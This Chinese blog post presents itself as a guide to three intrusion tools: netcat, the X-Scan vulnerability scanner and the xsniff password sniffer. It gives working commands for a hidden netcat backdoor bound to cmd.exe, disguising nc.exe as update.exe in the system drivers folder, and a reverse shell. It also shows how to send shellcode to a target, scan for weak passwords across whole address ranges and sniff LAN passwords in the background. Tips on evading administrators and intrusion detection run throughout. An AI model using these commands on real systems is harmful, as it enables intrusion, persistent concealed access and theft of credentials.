三种入侵工具的介绍
nc的用法介绍:
在入侵中它是最经典的工具之一。nc的全称为NetCat,它能够建立并接受传输控制协议(TCP)和用户数据报协议(UDP)的连接,Netcat可在这些连接上读写数据,直到连接关闭为止。它可以通过手工或者脚本与应用层的网络应用程序或服务进行交互。从技术上来讲,NetCat并不能产生UDP连接,因为UDP是一种无连接的协议。NetCat没有图形界面,很粗糙,很原始。
nc的命令行
nc的基本命令行形式是 nc [options] host ports,其中host是要扫描的主机名或IP地址,ports要么是一个单独的端口,要么是一个端口范围(用m-n的形式指定),要么是一系列用空格隔开的单个端口。
-d 只对Windows操作系统有用,该选项使NetCat以隐蔽模式工作,从而脱离MS-DOS命令提示符下环境运行,使得nc不需要保持打开命令窗口便可在监听模式下运行,也可以帮助黑客很好地隐藏监听NetCat实例而不被系统管理员发现。
-e 如果NetCat使用gaping_security_hole选项进行编译,那么只要某人在NET后台所监听的任何端口上建立连接,该NetCat都将执行,且客户端的NetCat会通过管道将I/O传输到在别处监听的另一个NetCat实例中。使用这个选项非常危险,除非你对nc相当了解,起码知道你自己在做什么。这是在系统中建立后门shell的一个非常快捷且容易的方法。
-i 延时间隔,表示在两次数据发送之间nc等待的时间。例如:当经过管道传输一个文件到nc的时候,在传输输入的下一行之前,nc将等待的秒数。当使用nc对一台主机的多个端口之间进行操作时,在切换到下一个端口之前,nc等待的秒数。这样可以使黑客在进行数据传输或对一个服务进行攻击的时候更加隐蔽,也可以帮助你的端口扫描不被入侵检测系统和系统管理员发现。
-g这个选项具有欺骗性。nc支持loose source routing(松散源路由)。你可以在命令行中指定多达8个-g选项来强迫nc流量经过特定的IP地址,这在你为流量设置伪造的源IP地址时,可以利用这个方法达到通过防火墙的过滤器或者允许访问主机列表,希望接收到从主机返回的响应。
-G该选项让用户在-g选项所指定的路由列表中指定的一个地址作为当前的下一路由,由于IP地址为4字节大小(IPV4),所以这个参数总是4字节的倍数;例如,4代表路由表中的第一个IP地址,8代表第二个IP地址,依次类推。这在伪造部分源路由表使得报文看起来相当的有用。在进行欺骗和源路由时,这个功能有助于屏蔽你的位置,但也不一定能接收到响应报文,因为响应报文将经过由伪造的IP地址反路由回来。
-l 该选项切换nc的监听模式。此选项必须与-p选项一起使用以告诉nc绑定某个指定的TCP端口并等待到来的连接。若换成-u选项,则应使用UDP端口而非TCP端口。
-L 该选项在Windows版本中有用,当一个连接被关闭后,使用相同的命令行选项进行重启监听模式,即使此时初始的连接已经结束,nc也能在不需要用户干涉的情况下接收后面新的连接。与-l一样,必须与-p同时使用。
-n 该选项告诉我们nc不做任何主机名查找的工作。
-0对数据执行一次十六进制转储(hex dump )并将其存储在hexfile中。命令nc-o hexfile将把双向通信的数据记录下来,在每行的开始处会有一个“<"或">”用来分别指示是进入数据还是外出数据。如果只想得到对进入数据的十六进制转储,可以使用 nc -ohexfile命令。
-p让用户指定一个nc应使用的本地端口号。当通过-l或-L选项来使用监听模式的时候,这个参数是必需的。如果没有为外出连接指定这个参数,则与大多数其他TCP或UDP客户程序的做法一样,nc将使用系统分配给他的任何端口。
-r 该参数使nc可以随机选择本地和远程端口。当使用nc在系统中范围很大的一批端口上获取信息时,要想混合源端口和目标端口的顺序看起来不怎么象端口扫描,这个选项是很有用的。当这个选项与-i选项和一个足够大的间隔结合使用的时候,在不被注意的端口扫描成功几率能得到很大提升。
-s 指定nc建立连接时所使用的IP地址,该选项允许黑客做一些工作,它允许黑客隐藏他们的IP地址或假冒他人的IP地址,但是要得到路由到他们所欺骗的地址的任何信息,都需要使用-g源路由选项。其次,当处于监听模式时,大多数情况下都可以与一个已经监听的服务“预先绑定”,所有TCP和UDP服务都绑定到某个端口。
-t 如果使用telnet选项编译,nc就可以与telnet服务器进行telnet选项协商,虽然它的响应是毫无意义的信息,但可以通过该状态看到连接23端口的信息。
-u nc使用UDP而非TCP,在客户模式和监听模式下都起作用。
-v 控制nc将要做的事情达到的程度,如使用nc -v,那么nc将仅吐出它所接收到的数据,一个单独的-v可以知道它连接或绑定的地址是否有问题发生,第2个-v可以让nc在一个连接结束的时候让你知道这个连接总共发送和接收了多少数据。
-w控制在一个连接上nc放弃之前等待的时间。同时也告诉nc当在标准输入上接收到一个eof(end-of-file)之后应该等待多长时间来关闭连接并退出。如果你通过nc向远程服务器发送命令并且期望大量的数据返回(例如:向一台web服务器发送一个http命令以下载一个大文件),该选项是很有用的。
nc的具体使用
c:\nc.exe -l -p 4455 -d -e cmd.exe 可以很好的隐藏一个NetCat后门。
c:\nc.exe -p 4455 -d -L -e cmd.exe 这个命令可以让黑客利用NetCat重新返回系统,直到系统管理员在任务管理器中看见nc.exe在运行,从而发现这个后门,我们一样可以把它做的更加隐蔽,
c:\move nc.exe c:\windows\system32\Drivers\update.exe
c:\windows\systeme32\drivers\update.exe -p 4455 -d -L -e cmd.exe
系统管理员可能把特权附属于一些无害的程序,如update.exe等,黑客也可以隐藏命令行。 c:\windows\systme32\drivers\update.exe
cmd line: -l -p 4455 -d -L -e cmd.exe c:\>
nc -l - p 80 监听80端口 nc -l -p 80 >c:\log.dat 监听80端口,并把信息记录到log.dat中 nc -v -l -p 80 监听80端口,并显示端口信息 nc -vv -l -p 80 监听80端口,显示更详细的端口信息 nc -l -p 80 -t -e cmd.exe监听本地的80端口的入站信息,同时将cmd.exe重定向到80端口,当有人连接的时候,就让cmd.exe以telnet的形式应答。当然这个最好用在控制的肉鸡上。 nc -v ip port 扫瞄某IP的某个端口 nc -v -z ip port-port扫描某IP的端口到某端口 nc -v -z -u ip port-port扫描某IP的某UDP端口到某UDP端口 参数介绍:
基本格式:nc [-options] hostname port[s] [ports] ... nc -l -p port [options] [hostname] [port] -d 后台模式
-e prog程序重定向,一旦连接,就执行 [危险!!] -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... -h帮助信息 -i secs 延时的间隔 -l 监听模式,用于入站连接 -L 连接关闭后,仍然继续监听 -n 指定数字的IP地址,不能用hostname -o file 记录16进制的传输 -p port 本地端口号 -r 随机本地及远程端口 -s addr 本地源地址 -t 使用TELNET交互方式 -u UDP模式 -v 详细输出--用两个-v可得到更详细的内容 -w secs timeout的时间 -z 将输入输出关掉--用于扫描时 端口的表示方法可写为M-N的范围格式。
============================================================
基本用法: 大概有以下几种用法:
1)连接到REMOTE主机,例子:
格式:nc -nvv 192.168.x.x 80 讲解:连到192.168.x.x的TCP80端口 2)监听LOCAL主机,例子:
格式:nc -l -p 80 讲解:监听本机的TCP80端口 3)扫描远程主机,例子:
格式:nc -nvv -w2 -z 192.168.x.x 80-445 讲解:扫描192.168.x.x的TCP80到TCP445的所有端口 4)REMOTE主机绑定SHELL,例子:
格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe 讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口 5)REMOTE主机绑定SHELL并反向连接,例子:
格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354 讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口 以上为最基本的几种用法(其实NC的用法还有很多,
当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......)。 ============================================================
高级用法: 6)作攻击程序用,例子:
格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80 格式2:nc -nvv 192.168.x.x 80 < c:\exploit.txt 讲解:连接到192.168.x.x的80端口,并在其管道中发送'c:\exploit.txt'的内容(两种格式确有相同的效果, 真是有异曲同工之妙:P) 附:'c:\exploit.txt'为shellcode等
7)作蜜罐用[1],例子:
格式:nc -L -p 80 讲解:使用'-L'(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止 8)作蜜罐用[2],例子:
格式:nc -L -p 80 > c:\log.txt 讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到'c:\log.txt'中,如果把‘>' 改为‘>>'即可以追加日志 附:'c:\log.txt'为日志等
9)作蜜罐用[3],例子:
格式1:nc -L -p 80 < c:\honeypot.txt 格式2:type.exe c:\honeypot.txt|nc -L -p 80 讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,并把'c:\honeypot.txt'的内容‘送'入其 管道中 附:'c:\honeypot.txt'为欺骗数据等
xscan的用法介绍
基本格式
xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息
xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息
检测项目
-active 检测主机是否存活
-os 检测远程操作系统类型(通过NETBIOS和SNMP协议)
-port 检测常用服务的端口状态
-ftp 检测FTP弱口令
-pub 检测FTP服务匿名用户写权限
-pop3 检测POP3-Server弱口令
-smtp 检测SMTP-Server漏洞
-sql 检测SQL-Server弱口令
-smb 检测NT-Server弱口令
-iis 检测IIS编码/解码漏洞
-cgi 检测CGI漏洞
-nasl 加载Nessus攻击脚本
-all 检测以上所有项目
其它选项
-i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取
-l 显示所有网络适配器
-v 显示详细扫描进度
-p 跳过没有响应的主机
-o 跳过没有检测到开放端口的主机
-t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10
-log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机
嗅探器xsniff用法介绍
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
参数说明 -tcp 输出TCP数据报 -udp 输出UDP数据报 -icmp 输出ICMP数据报 -pass 过滤密码信息 -hide 后台运行 -host 解析主机名 -addr IP地址 过滤IP地址 -port 端口 过滤端口 -log 文件名 将输出保存到文件 -asc 以ASCII形式输出 -hex 以16进制形式输出 用法示例 xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中 xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出 这条命令执行后,会在任务栏开254个小窗口。然后telnet链接失败的窗口会在大约5秒后自动退出,剩下的窗口就是相对应开放端口的主机了。 看一下小窗口的标题可以得知主机的ip地址,如果你觉得机器性能很好的话 可以把/low参数去了。 现在扫描一台主机的多个端口,如下: for /l %a in (1,1,65535) do start /low /min telnet 192.168.0.1%a 现在扫描一个网段的所有端口 : for /l %a in (1,1,254) do for /l %b in (1,1,65535) do start /low/min telnet 192.168.0.%a %b 这样就会扫描192.168.0.x段的全部1到65535段口。 以上命令只能在Windows2000下使用,因为/l累加参数是Windows2000对for的扩展,当然WindowsXP和Windows.NET都可以用,WindowsME我没有试过,因为没有WindowsME的机器。 |


lige239141
博客统计信息
热门文章
最新评论
友情链接